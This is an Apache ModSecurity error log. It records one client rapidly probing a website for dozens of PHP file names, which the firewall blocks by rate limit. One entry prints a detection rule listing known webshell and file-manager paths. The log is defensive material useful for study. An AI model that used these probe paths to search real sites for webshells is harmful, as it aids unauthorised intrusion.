[Sat May 23 15:34:13.504339 2026] [:error] [pid 30940:tid 30972] [client 132.196.65.22:7718] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x402.php"] [unique_id "ahFYdZqUP2XZmzp7RDrhcAAAABc"]
[Sat May 23 15:34:13.929112 2026] [:error] [pid 25876:tid 25885] [client 132.196.65.22:7872] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x402.php"] [unique_id "ahFYdQSpWUCKPezIBJBjsgAAAQc"]
[Sat May 23 15:34:14.304050 2026] [:error] [pid 31039:tid 31062] [client 132.196.65.22:7963] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "ahFYdqIYDYo8WvA5zLIKrQAAANU"]
[Sat May 23 15:34:14.749650 2026] [:error] [pid 25876:tid 25878] [client 132.196.65.22:7888] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "ahFYdgSpWUCKPezIBJBjtwAAAQA"]
[Sat May 23 15:34:15.125464 2026] [:error] [pid 31039:tid 31051] [client 132.196.65.22:7902] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "ahFYd6IYDYo8WvA5zLIKrwAAAMo"]
[Sat May 23 15:34:15.558971 2026] [:error] [pid 25876:tid 25883] [client 132.196.65.22:7713] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "ahFYdwSpWUCKPezIBJBjuQAAAQU"]
[Sat May 23 15:34:15.958830 2026] [:error] [pid 30940:tid 30959] [client 132.196.65.22:7958] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "ahFYd5qUP2XZmzp7RDrhcgAAAAo"]
[Sat May 23 15:34:16.336646 2026] [:error] [pid 31039:tid 31058] [client 132.196.65.22:7893] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "ahFYeKIYDYo8WvA5zLIKsQAAANE"]
[Sat May 23 15:34:16.796499 2026] [:error] [pid 25876:tid 25899] [client 132.196.65.22:7927] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "ahFYeASpWUCKPezIBJBjuwAAARU"]
[Sat May 23 15:34:17.174506 2026] [:error] [pid 25876:tid 25895] [client 132.196.65.22:7889] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "ahFYeQSpWUCKPezIBJBjvgAAARE"]
[Sat May 23 15:34:17.557883 2026] [:error] [pid 25876:tid 25880] [client 132.196.65.22:7950] [client 132.196.65.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/tiny.php"] [unique_id "ahFYeQSpWUCKPezIBJBjwAAAAQI"]
[Sat May 23 15:34:17.937065 2026] [:error] [pid 25876:tid 25883] [client 132.196.65.22:7694] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "ahFYeQSpWUCKPezIBJBjwgAAAQU"]
[Sat May 23 15:34:18.317653 2026] [:error] [pid 25876:tid 25897] [client 132.196.65.22:7968] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "ahFYegSpWUCKPezIBJBjxAAAARM"]
[Sat May 23 15:34:18.701394 2026] [:error] [pid 25876:tid 25902] [client 132.196.65.22:7988] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "ahFYegSpWUCKPezIBJBjxQAAARg"]
[Sat May 23 15:34:19.095743 2026] [:error] [pid 31039:tid 31046] [client 132.196.65.22:7903] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "ahFYe6IYDYo8WvA5zLIKswAAAMU"]
[Sat May 23 15:34:19.471798 2026] [:error] [pid 30940:tid 30956] [client 132.196.65.22:7880] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test1.php"] [unique_id "ahFYe5qUP2XZmzp7RDrhcwAAAAc"]
[Sat May 23 15:34:19.884012 2026] [:error] [pid 25876:tid 25890] [client 132.196.65.22:7989] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test1.php"] [unique_id "ahFYewSpWUCKPezIBJBjygAAAQw"]
[Sat May 23 15:34:20.262418 2026] [:error] [pid 30941:tid 30987] [client 132.196.65.22:7934] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test1.php"] [unique_id "ahFYfHTIgjSDhiZmvlWP5wAAAEs"]
[Sat May 23 15:34:20.643873 2026] [:error] [pid 25876:tid 25898] [client 132.196.65.22:7926] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test1.php"] [unique_id "ahFYfASpWUCKPezIBJBjywAAARQ"]
[Sat May 23 15:34:21.026190 2026] [:error] [pid 25876:tid 25901] [client 132.196.65.22:7731] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tires.php"] [unique_id "ahFYfQSpWUCKPezIBJBjzAAAARc"]
[Sat May 23 15:34:21.412551 2026] [:error] [pid 31039:tid 31059] [client 132.196.65.22:7890] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tires.php"] [unique_id "ahFYfaIYDYo8WvA5zLIKtQAAANI"]
[Sat May 23 15:34:21.796439 2026] [:error] [pid 25876:tid 25887] [client 132.196.65.22:7901] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tires.php"] [unique_id "ahFYfQSpWUCKPezIBJBjzQAAAQk"]
[Sat May 23 15:34:22.177880 2026] [:error] [pid 30942:tid 31003] [client 132.196.65.22:7921] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tires.php"] [unique_id "ahFYftUosz64YFiBlG1CUQAAAIA"]
[Sat May 23 15:34:22.560579 2026] [:error] [pid 30940:tid 30967] [client 132.196.65.22:7999] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "ahFYfpqUP2XZmzp7RDrhdgAAABI"]
[Sat May 23 15:34:22.990835 2026] [:error] [pid 30942:tid 31007] [client 132.196.65.22:7883] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "ahFYftUosz64YFiBlG1CUwAAAIQ"]
[Sat May 23 15:34:23.375807 2026] [:error] [pid 25876:tid 25884] [client 132.196.65.22:7695] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "ahFYfwSpWUCKPezIBJBj1QAAAQY"]
[Sat May 23 15:34:23.760404 2026] [:error] [pid 25876:tid 25888] [client 132.196.65.22:7907] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "ahFYfwSpWUCKPezIBJBj1gAAAQo"]
[Sat May 23 15:34:24.135904 2026] [:error] [pid 25876:tid 25893] [client 132.196.65.22:7919] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d.php"] [unique_id "ahFYgASpWUCKPezIBJBj2wAAAQ8"]
[Sat May 23 15:34:24.511932 2026] [:error] [pid 25876:tid 25897] [client 132.196.65.22:7970] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d.php"] [unique_id "ahFYgASpWUCKPezIBJBj3gAAARM"]
[Sat May 23 15:34:24.893073 2026] [:error] [pid 31039:tid 31061] [client 132.196.65.22:7991] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d.php"] [unique_id "ahFYgKIYDYo8WvA5zLIKuAAAANQ"]
[Sat May 23 15:34:25.267179 2026] [:error] [pid 31039:tid 31064] [client 132.196.65.22:7895] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d.php"] [unique_id "ahFYgaIYDYo8WvA5zLIKuQAAANc"]
[Sat May 23 15:34:25.654917 2026] [:error] [pid 31039:tid 31042] [client 132.196.65.22:7976] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "ahFYgaIYDYo8WvA5zLIKugAAAME"]
[Sat May 23 15:34:26.036599 2026] [:error] [pid 30941:tid 30996] [client 132.196.65.22:7687] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "ahFYgnTIgjSDhiZmvlWP7wAAAFQ"]
[Sat May 23 15:34:26.409757 2026] [:error] [pid 25876:tid 25885] [client 132.196.65.22:7725] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "ahFYggSpWUCKPezIBJBj7wAAAQc"]
[Sat May 23 15:34:26.785021 2026] [:error] [pid 31039:tid 31043] [client 132.196.65.22:7969] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "ahFYgqIYDYo8WvA5zLIKuwAAAMI"]
[Sat May 23 15:34:27.166583 2026] [:error] [pid 25876:tid 25883] [client 132.196.65.22:7680] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fone1.php"] [unique_id "ahFYgwSpWUCKPezIBJBj9AAAAQU"]
[Sat May 23 15:34:27.560241 2026] [:error] [pid 25876:tid 25894] [client 132.196.65.22:7693] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fone1.php"] [unique_id "ahFYgwSpWUCKPezIBJBj9wAAARA"]
[Sat May 23 15:34:27.973766 2026] [:error] [pid 25876:tid 25897] [client 132.196.65.22:7689] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fone1.php"] [unique_id "ahFYgwSpWUCKPezIBJBj_AAAARM"]
[Sat May 23 15:34:28.351517 2026] [:error] [pid 25876:tid 25890] [client 132.196.65.22:7932] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fone1.php"] [unique_id "ahFYhASpWUCKPezIBJBkAQAAAQw"]
[Sat May 23 15:34:28.743504 2026] [:error] [pid 25876:tid 25901] [client 132.196.65.22:7998] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sallu.php"] [unique_id "ahFYhASpWUCKPezIBJBkAwAAARc"]
[Sat May 23 15:34:29.132715 2026] [:error] [pid 30940:tid 30965] [client 132.196.65.22:7940] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sallu.php"] [unique_id "ahFYhZqUP2XZmzp7RDrhfAAAABA"]
[Sat May 23 15:34:29.568450 2026] [:error] [pid 25876:tid 25895] [client 132.196.65.22:7697] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sallu.php"] [unique_id "ahFYhQSpWUCKPezIBJBkBgAAARE"]
[Sat May 23 15:34:29.999018 2026] [:error] [pid 25876:tid 25880] [client 132.196.65.22:7938] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sallu.php"] [unique_id "ahFYhQSpWUCKPezIBJBkCwAAAQI"]
[Sat May 23 15:34:30.422170 2026] [:error] [pid 30941:tid 30999] [client 132.196.65.22:7930] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ng.php"] [unique_id "ahFYhnTIgjSDhiZmvlWP8AAAAFc"]
[Sat May 23 15:34:30.835407 2026] [:error] [pid 25876:tid 25892] [client 132.196.65.22:7874] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ng.php"] [unique_id "ahFYhgSpWUCKPezIBJBkDQAAAQ4"]
[Sat May 23 15:34:31.226505 2026] [:error] [pid 30942:tid 31021] [client 132.196.65.22:7632] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ng.php"] [unique_id "ahFYh9Uosz64YFiBlG1CVgAAAJI"]
[Sat May 23 15:34:31.742289 2026] [:error] [pid 25876:tid 25898] [client 132.196.65.22:7929] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ng.php"] [unique_id "ahFYhwSpWUCKPezIBJBkDwAAARQ"]
[Sat May 23 15:34:32.124271 2026] [:error] [pid 25876:tid 25902] [client 132.196.65.22:7681] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "ahFYiASpWUCKPezIBJBkEQAAARg"]
[Sat May 23 15:34:32.502904 2026] [:error] [pid 30942:tid 31016] [client 132.196.65.22:7952] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "ahFYiNUosz64YFiBlG1CWAAAAI0"]
[Sat May 23 15:34:32.881811 2026] [:error] [pid 30940:tid 30961] [client 132.196.65.22:7912] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "ahFYiJqUP2XZmzp7RDrhfgAAAAw"]
[Sat May 23 15:34:33.277759 2026] [:error] [pid 25876:tid 25896] [client 132.196.65.22:7741] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "ahFYiQSpWUCKPezIBJBkFQAAARI"]
[Sat May 23 15:34:33.653947 2026] [:error] [pid 25876:tid 25884] [client 132.196.65.22:7948] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxx.php"] [unique_id "ahFYiQSpWUCKPezIBJBkFgAAAQY"]
[Sat May 23 15:34:34.058557 2026] [:error] [pid 31039:tid 31044] [client 132.196.65.22:7956] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxx.php"] [unique_id "ahFYiqIYDYo8WvA5zLIKwQAAAMM"]
[Sat May 23 15:34:34.471093 2026] [:error] [pid 31039:tid 31041] [client 132.196.65.22:7899] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxx.php"] [unique_id "ahFYiqIYDYo8WvA5zLIKwgAAAMA"]
[Sat May 23 15:34:34.928592 2026] [:error] [pid 30942:tid 31024] [client 132.196.65.22:7922] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxx.php"] [unique_id "ahFYitUosz64YFiBlG1CWgAAAJU"]
[Sat May 23 15:34:35.338914 2026] [:error] [pid 30942:tid 31017] [client 132.196.65.22:7698] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/BDKR28WP.php"] [unique_id "ahFYi9Uosz64YFiBlG1CWwAAAI4"]
